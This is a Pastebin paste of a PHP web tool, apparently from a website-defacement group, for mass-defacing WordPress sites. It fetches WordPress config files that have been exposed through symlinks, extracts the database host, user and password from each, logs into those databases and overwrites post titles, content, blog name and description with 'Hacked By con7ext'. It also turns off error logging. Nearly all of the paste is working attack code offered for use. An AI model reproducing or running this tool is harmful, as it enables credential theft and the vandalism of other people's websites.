Advertisement
RintoMuhamad

Mass Edit Title Wordpress From Config

Jun 23rd, 2017
522
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.11 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>
  4. Mass Edit Title From Config
  5. </title>
  6. <style>
  7. html {
  8. background: black;
  9. color: white;
  10. }
  11. input[type=text],input[type=submit] {
  12. background: transparent;
  13. color:white;
  14. margin:0 10px;
  15. font-family:Homenaje;
  16. font-size:13px;
  17. border:2px solid #2d2b2b;
  18. }
  19. textarea{
  20. background:transparent;
  21. border: 1px solid #2d2b2b;
  22. width: 100%;
  23. height: 400px;
  24. padding-left: 5px;
  25. margin: 10px auto;
  26. font-family:Homenaje;
  27. color: #ffffff;
  28. font-size:13px;
  29. }
  30. </style>
  31. </head>
  32. <?php
  33. error_reporting(0);
  34. set_time_limit(0);
  35. @set_magic_quotes_runtime(0);
  36. @clearstatcache();
  37. @ini_set('error_log',NULL);
  38. @ini_set('log_errors',0);
  39. @ini_set('max_execution_time',0);
  40. @ini_set('output_buffering',0);
  41. @ini_set('display_errors', 0);
  42. function GrabUrl($url,$type){
  43.  
  44. $urlArray = array();
  45.  
  46. $ch = curl_init();
  47. curl_setopt($ch, CURLOPT_URL, $url);
  48. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  49. $result = curl_exec($ch);
  50.  
  51. $regex='|<a.*?href="(.*?)"|';
  52. preg_match_all($regex,$result,$parts);
  53. $links=$parts[1];
  54. foreach($links as $link){
  55. array_push($urlArray, $link);
  56. }
  57. curl_close($ch);
  58.  
  59. foreach($urlArray as $value){
  60. $lol="$url$value";
  61. if(preg_match("#$type#is", $lol)) {
  62. echo "$lol\r\n";
  63. }
  64. }
  65. }
  66. function ambilKata($param, $kata1, $kata2){
  67. if(strpos($param, $kata1) === FALSE) return FALSE;
  68. if(strpos($param, $kata2) === FALSE) return FALSE;
  69. $start = strpos($param, $kata1) + strlen($kata1);
  70. $end = strpos($param, $kata2, $start);
  71. $return = substr($param, $start, $end - $start);
  72. return $return;
  73. }
  74. echo "<center><h1>Mass Title Changer Juahhaaha</h1>
  75. <form method='post'>
  76. Link Config: <br>
  77. <input type='text' name='linkconf' height='10' size='50' placeholder='http://url.com/ppq_symconfig/'><br>
  78. <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  79. </form></center>";
  80. if($_POST['gass']) {
  81. echo "<center>
  82. <form method='post'>
  83. Link Config: <br>
  84. <textarea name='link'>";
  85. GrabUrl($_POST['linkconf'],'wordpress');
  86. echo"</textarea><br><br>ID: <input type='text' name='id' value='1'><br><br>TITLE :<input type='text' name='title' value='Hacked By con7ext'><br><br>POST CONTENT: <input type='text' name='content' value='Hacked By con7ext'><br><br>POSTNAME: <input type='text' name='postname' value='HackeD By Con7ext'><br><br>
  87. <input type='submit' style='width: 450px;' name='edittitle' value='Hajar!!'>
  88. </form></center>";
  89. }
  90. if($_POST['edittitle']) {
  91. $title = htmlspecialchars($_POST['title']);
  92. $id = $_POST['id'];
  93. $content = $_POST['content'];
  94. $postname = $_POST['name'];
  95. function anucurl($sites) {
  96. $ch = curl_init($sites);
  97. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  98. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  99. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  100. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  101. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  102. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  103. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  104. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  105. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  106. $data = curl_exec($ch);
  107. curl_close($ch);
  108. return $data;
  109. }
  110. $link = explode("\r\n", $_POST['link']);
  111. foreach($link as $dir_config) {
  112. $config = anucurl($dir_config);
  113. $dbhost = ambilkata($config,"DB_HOST', '","'");
  114. $dbuser = ambilkata($config,"DB_USER', '","'");
  115. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  116. $dbname = ambilkata($config,"DB_NAME', '","'");
  117. $dbprefix = ambilkata($config,"table_prefix = '","'");
  118. $prefix = $dbprefix."posts";
  119. $option = $dbprefix."options";
  120. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  121. $db = mysql_select_db($dbname);
  122. $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  123. $result = mysql_fetch_array($q);
  124. $id = $result[ID];
  125. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  126. $result2 = mysql_fetch_array($q2);
  127. $target = $result2[option_value];
  128. $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$content',post_name='$postname',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  129. $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  130. echo "<div style='margin: 5px auto;'>";
  131. if($target == '') {
  132. echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  133. } else {
  134. echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  135. }
  136. if(!$update OR !$conn OR !$db) {
  137. echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  138. } else {
  139. echo "<font color=lime>sukses di ganti.</font><br>";
  140. }
  141. echo "</div>";
  142. mysql_close($conn);
  143. }
  144. }
  145. ?>
  146. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement